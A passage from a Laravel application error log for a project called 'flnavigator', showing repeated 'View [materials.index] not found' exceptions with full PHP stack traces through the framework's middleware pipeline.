#29 /var/www/html/flnavigator/vendor/livewire/livewire/src/Features/SupportDisablingBackButtonCache/DisableBackButtonCacheMiddleware.php(19): Illuminate\\Pipeline\\Pipeline->{closure:Illuminate\\Pipeline\\Pipeline::prepareDestination():178}()
#30 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Livewire\\Features\\SupportDisablingBackButtonCache\\DisableBackButtonCacheMiddleware->handle()
#31 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/TransformsRequest.php(21): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
#32 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/ConvertEmptyStringsToNull.php(31): Illuminate\\Foundation\\Http\\Middleware\\TransformsRequest->handle()
#33 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\ConvertEmptyStringsToNull->handle()
#34 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/TransformsRequest.php(21): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
#35 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/TrimStrings.php(51): Illuminate\\Foundation\\Http\\Middleware\\TransformsRequest->handle()
#36 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\TrimStrings->handle()
#37 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Http/Middleware/ValidatePostSize.php(27): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
#38 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\ValidatePostSize->handle()
#39 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/PreventRequestsDuringMaintenance.php(109): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
#40 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\PreventRequestsDuringMaintenance->handle()
#41 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Http/Middleware/HandleCors.php(61): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
#42 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\HandleCors->handle()
#43 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Http/Middleware/TrustProxies.php(58): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
#44 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\TrustProxies->handle()
#45 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/InvokeDeferredCallbacks.php(22): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
#46 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\InvokeDeferredCallbacks->handle()
#47 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Http/Middleware/ValidatePathEncoding.php(26): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
#48 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\ValidatePathEncoding->handle()
#49 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(137): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
#50 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(175): Illuminate\\Pipeline\\Pipeline->then()
#51 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(144): Illuminate\\Foundation\\Http\\Kernel->sendRequestThroughRouter()
#52 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Foundation/Application.php(1220): Illuminate\\Foundation\\Http\\Kernel->handle()
#53 /var/www/html/flnavigator/public/index.php(20): Illuminate\\Foundation\\Application->handleRequest()
#54 {main}
"} 
[2026-06-02 12:11:30] local.ERROR: View [materials.index] not found. {"exception":"[object] (InvalidArgumentException(code: 0): View [materials.index] not found. at /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/View/FileViewFinder.php:138)
[stacktrace]
#0 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/View/FileViewFinder.php(78): Illuminate\\View\\FileViewFinder->findInPaths()
#1 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/View/Factory.php(150): Illuminate\\View\\FileViewFinder->find()
#2 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Foundation/helpers.php(1101): Illuminate\\View\\Factory->make()
#3 /var/www/html/flnavigator/app/Http/Controllers/MaterialController.php(71): view()
#4 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Routing/ControllerDispatcher.php(46): App\\Http\\Controllers\\MaterialController->index()
#5 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Routing/Route.php(265): Illuminate\\Routing\\ControllerDispatcher->dispatch()
#6 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Routing/Route.php(211): Illuminate\\Routing\\Route->runController()
#7 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Routing/Router.php(822): Illuminate\\Routing\\Route->run()
#8 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(180): Illuminate\\Routing\\Router->{closure:Illuminate\\Routing\\Router::runRouteWithinStack():821}()
#9 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Routing/Middleware/SubstituteBindings.php(50): Illuminate\\Pipeline\\Pipeline->{closure:Illuminate\\Pipeline\\Pipeline::prepareDestination():178}()
#10 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Routing\\Middleware\\SubstituteBindings->handle()
#11 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/VerifyCsrfToken.php(87): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
#12 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\VerifyCsrfToken->handle()
#13 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/View/Middleware/ShareErrorsFromSession.php(48): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
#14 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\View\\Middleware\\ShareErrorsFromSession->handle()
#15 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Session/Middleware/StartSession.php(120): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
#16 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Session/Middleware/StartSession.php(63): Illuminate\\Session\\Middleware\\StartSession->handleStatefulRequest()
#17 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Session\\Middleware\\StartSession->handle()
#18 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Cookie/Middleware/AddQueuedCookiesToResponse.php(36): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
#19 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Cookie\\Middleware\\AddQueuedCookiesToResponse->handle()
#20 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Cookie/Middleware/EncryptCookies.php(74): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
#21 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Cookie\\Middleware\\EncryptCookies->handle()
#22 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(137): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
#23 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Routing/Router.php(821): Illuminate\\Pipeline\\Pipeline->then()
#24 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Routing/Router.php(800): Illuminate\\Routing\\Router->runRouteWithinStack()
#25 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Routing/Router.php(764): Illuminate\\Routing\\Router->runRoute()
#26 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Routing/Router.php(753): Illuminate\\Routing\\Router->dispatchToRoute()
#27 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(200): Illuminate\\Routing\\Router->dispatch()
#28 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(180): Illuminate\\Foundation\\Http\\Kernel->{closure:Illuminate\\Foundation\\Http\\Kernel::dispatchToRouter():197}()
#29 /var/www/html/flnavigator/vendor/livewire/livewire/src/Features/SupportDisablingBackButtonCache/DisableBackButtonCacheMiddleware.php(19): Illuminate\\Pipeline\\Pipeline->{closure:Illuminate\\Pipeline\\Pipeline::prepareDestination():178}()
#30 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Livewire\\Features\\SupportDisablingBackButtonCache\\DisableBackButtonCacheMiddleware->handle()
#31 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/TransformsRequest.php(21): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
#32 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/ConvertEmptyStringsToNull.php(31): Illuminate\\Foundation\\Http\\Middleware\\TransformsRequest->handle()
#33 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\ConvertEmptyStringsToNull->handle()
#34 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/TransformsRequest.php(21): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
#35 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/TrimStrings.php(51): Illuminate\\Foundation\\Http\\Middleware\\TransformsRequest->handle()
#36 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\TrimStrings->handle()
#37 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Http/Middleware/ValidatePostSize.php(27): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
#38 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\ValidatePostSize->handle()
#39 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/PreventRequestsDuringMaintenance.php(109): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
#40 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\PreventRequestsDuringMaintenance->handle()
#41 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Http/Middleware/HandleCors.php(61): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
#42 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\HandleCors->handle()
#43 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Http/Middleware/TrustProxies.php(58): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
#44 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\TrustProxies->handle()
#45 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/InvokeDeferredCallbacks.php(22): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
#46 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\InvokeDeferredCallbacks->handle()
#47 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Http/Middleware/ValidatePathEncoding.php(26): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
#48 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\ValidatePathEncoding->handle()
#49 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(137): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
#50 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(175): Illuminate\\Pipeline\\Pipeline->then()
#51 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(144): Illuminate\\Foundation\\Http\\Kernel->sendRequestThroughRouter()
#52 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Foundation/Application.php(1220): Illuminate\\Foundation\\Http\\Kernel->handle()
#53 /var/www/html/flnavigator/public/index.php(20): Illuminate\\Foundation\\Application->handleRequest()
#54 {main}
"} 
[2026-06-02 12:11:47] local.ERROR: View [materials.index] not found. {"exception":"[object] (InvalidArgumentException(code: 0): View [materials.index] not found. at /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/View/FileViewFinder.php:138)
[stacktrace]
#0 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/View/FileViewFinder.php(78): Illuminate\\View\\FileViewFinder->findInPaths()
#1 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/View/Factory.php(150): Illuminate\\View\\FileViewFinder->find()
#2 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Foundation/helpers.php(1101): Illuminate\\View\\Factory->make()
#3 /var/www/html/flnavigator/app/Http/Controllers/MaterialController.php(71): view()
#4 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Routing/ControllerDispatcher.php(46): App\\Http\\Controllers\\MaterialController->index()
#5 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Routing/Route.php(265): Illuminate\\Routing\\ControllerDispatcher->dispatch()
#6 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Routing/Route.php(211): Illuminate\\Routing\\Route->runController()
#7 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Routing/Router.php(822): Illuminate\\Routing\\Route->run()
#8 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(180): Illuminate\\Routing\\Router->{closure:Illuminate\\Routing\\Router::runRouteWithinStack():821}()
#9 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Routing/Middleware/SubstituteBindings.php(50): Illuminate\\Pipeline\\Pipeline->{closure:Illuminate\\Pipeline\\Pipeline::prepareDestination():178}()
#10 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Routing\\Middleware\\SubstituteBindings->handle()
#11 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/VerifyCsrfToken.php(87): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
#12 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\VerifyCsrfToken->handle()
#13 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/View/Middleware/ShareErrorsFromSession.php(48): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
#14 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\View\\Middleware\\ShareErrorsFromSession->handle()
#15 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Session/Middleware/StartSession.php(120): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
#16 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Session/Middleware/StartSession.php(63): Illuminate\\Session\\Middleware\\StartSession->handleStatefulRequest()
#17 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Session\\Middleware\\StartSession->handle()
#18 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Cookie/Middleware/AddQueuedCookiesToResponse.php(36): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
#19 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Cookie\\Middleware\\AddQueuedCookiesToResponse->handle()
#20 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Cookie/Middleware/EncryptCookies.php(74): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
#21 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Cookie\\Middleware\\EncryptCookies->handle()
#22 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(137): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
#23 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Routing/Router.php(821): Illuminate\\Pipeline\\Pipeline->then()
#24 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Routing/Router.php(800): Illuminate\\Routing\\Router->runRouteWithinStack()
#25 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Routing/Router.php(764): Illuminate\\Routing\\Router->runRoute()
#26 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Routing/Router.php(753): Illuminate\\Routing\\Router->dispatchToRoute()
#27 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(200): Illuminate\\Routing\\Router->dispatch()
#28 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(180): Illuminate\\Foundation\\Http\\Kernel->{closure:Illuminate\\Foundation\\Http\\Kernel::dispatchToRouter():197}()
#29 /var/www/html/flnavigator/vendor/livewire/livewire/src/Features/SupportDisablingBackButtonCache/DisableBackButtonCacheMiddleware.php(19): Illuminate\\Pipeline\\Pipeline->{closure:Illuminate\\Pipeline\\Pipeline::prepareDestination():178}()
#30 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Livewire\\Features\\SupportDisablingBackButtonCache\\DisableBackButtonCacheMiddleware->handle()
#31 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/TransformsRequest.php(21): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
#32 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/ConvertEmptyStringsToNull.php(31): Illuminate\\Foundation\\Http\\Middleware\\TransformsRequest->handle()
#33 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\ConvertEmptyStringsToNull->handle()
#34 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/TransformsRequest.php(21): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
#35 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/TrimStrings.php(51): Illuminate\\Foundation\\Http\\Middleware\\TransformsRequest->handle()
#36 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\TrimStrings->handle()
#37 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Http/Middleware/ValidatePostSize.php(27): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
#38 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\ValidatePostSize->handle()
#39 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/PreventRequestsDuringMaintenance.php(109): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
#40 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\PreventRequestsDuringMaintenance->handle()
#41 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Http/Middleware/HandleCors.php(61): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
#42 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\HandleCors->handle()
#43 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Http/Middleware/TrustProxies.php(58): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
#44 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\TrustProxies->handle()
#45 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/InvokeDeferredCallbacks.php(22): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
#46 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\InvokeDeferredCallbacks->handle()
#47 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Http/Middleware/ValidatePathEncoding.php(26): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
#48 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\ValidatePathEncoding->handle()
#49 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(137): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
#50 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(175): Illuminate\\Pipeline\\Pipeline->then()
#51 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(144): Illuminate\\Foundation\\Http\\Kernel->sendRequestThroughRouter()
#52 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Foundation/Application.php(1220): Illuminate\\Foundation\\Http\\Kernel->handle()
#53 /var/www/html/flnavigator/public/index.php(20): Illuminate\\Foundation\\Application->handleRequest()
#54 {main}
"}

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